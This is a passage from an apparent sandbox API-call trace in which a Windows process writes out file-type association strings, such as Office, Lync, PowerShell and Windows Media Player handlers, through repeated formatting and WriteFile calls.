Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 77 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] GetFileType (hFile=0x5c) returned 0x3 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78 [0100.753] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4d, lpOverlapped=0x0) returned 1 [0100.753] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 71 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] GetFileType (hFile=0x5c) returned 0x3 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72 [0100.753] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0100.753] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 75 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] GetFileType (hFile=0x5c) returned 0x3 [0100.753] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.753] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76 [0100.753] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0100.754] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n") returned 113 [0100.754] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.754] GetFileType (hFile=0x5c) returned 0x3 [0100.754] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 114 [0100.754] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x71, lpOverlapped=0x0) returned 1 [0100.754] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n") returned 95 [0100.754] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.754] GetFileType (hFile=0x5c) returned 0x3 [0100.754] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.754] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0100.754] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0100.755] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 75 [0100.755] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.755] GetFileType (hFile=0x5c) returned 0x3 [0100.755] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.755] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 76 [0100.755] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0100.756] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n") returned 129 [0100.756] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.756] GetFileType (hFile=0x5c) returned 0x3 [0100.756] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.756] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n", lpUsedDefaultChar=0x0) returned 130 [0100.757] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x81, lpOverlapped=0x0) returned 1 [0100.757] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 94 [0100.757] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.757] GetFileType (hFile=0x5c) returned 0x3 [0100.757] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0100.757] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0100.757] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 87 [0100.757] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.757] GetFileType (hFile=0x5c) returned 0x3 [0100.757] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.757] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0100.757] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0100.758] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 94 [0100.758] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.758] GetFileType (hFile=0x5c) returned 0x3 [0100.758] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95 [0100.758] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5e, lpOverlapped=0x0) returned 1 [0100.758] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n") returned 99 [0100.758] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.758] GetFileType (hFile=0x5c) returned 0x3 [0100.758] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100 [0100.759] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x63, lpOverlapped=0x0) returned 1 [0100.759] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n") returned 67 [0100.759] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.759] GetFileType (hFile=0x5c) returned 0x3 [0100.759] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68 [0100.759] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x43, lpOverlapped=0x0) returned 1 [0100.759] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n") returned 69 [0100.759] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.759] GetFileType (hFile=0x5c) returned 0x3 [0100.759] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70 [0100.759] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x45, lpOverlapped=0x0) returned 1 [0100.759] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n") returned 69 [0100.760] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.760] GetFileType (hFile=0x5c) returned 0x3 [0100.760] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70 [0100.760] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x45, lpOverlapped=0x0) returned 1 [0100.760] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 89 [0100.760] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.760] GetFileType (hFile=0x5c) returned 0x3 [0100.760] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 90 [0100.760] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x59, lpOverlapped=0x0) returned 1 [0100.761] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n") returned 136 [0100.761] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.761] GetFileType (hFile=0x5c) returned 0x3 [0100.761] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll %1\r\n", lpUsedDefaultChar=0x0) returned 137 [0100.761] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x88, lpOverlapped=0x0) returned 1 [0100.761] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n") returned 63 [0100.761] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.761] GetFileType (hFile=0x5c) returned 0x3 [0100.761] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64 [0100.762] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3f, lpOverlapped=0x0) returned 1 [0100.762] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n") returned 66 [0100.762] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.762] GetFileType (hFile=0x5c) returned 0x3 [0100.762] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 67 [0100.762] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x42, lpOverlapped=0x0) returned 1 [0100.762] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 84 [0100.762] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] GetFileType (hFile=0x5c) returned 0x3 [0100.763] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85 [0100.763] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x54, lpOverlapped=0x0) returned 1 [0100.763] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 83 [0100.763] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] GetFileType (hFile=0x5c) returned 0x3 [0100.763] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.763] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.763] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 88 [0100.763] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] GetFileType (hFile=0x5c) returned 0x3 [0100.763] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89 [0100.763] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x58, lpOverlapped=0x0) returned 1 [0100.764] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 85 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] GetFileType (hFile=0x5c) returned 0x3 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86 [0100.764] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0100.764] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 87 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] GetFileType (hFile=0x5c) returned 0x3 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-publisher=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0100.764] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, 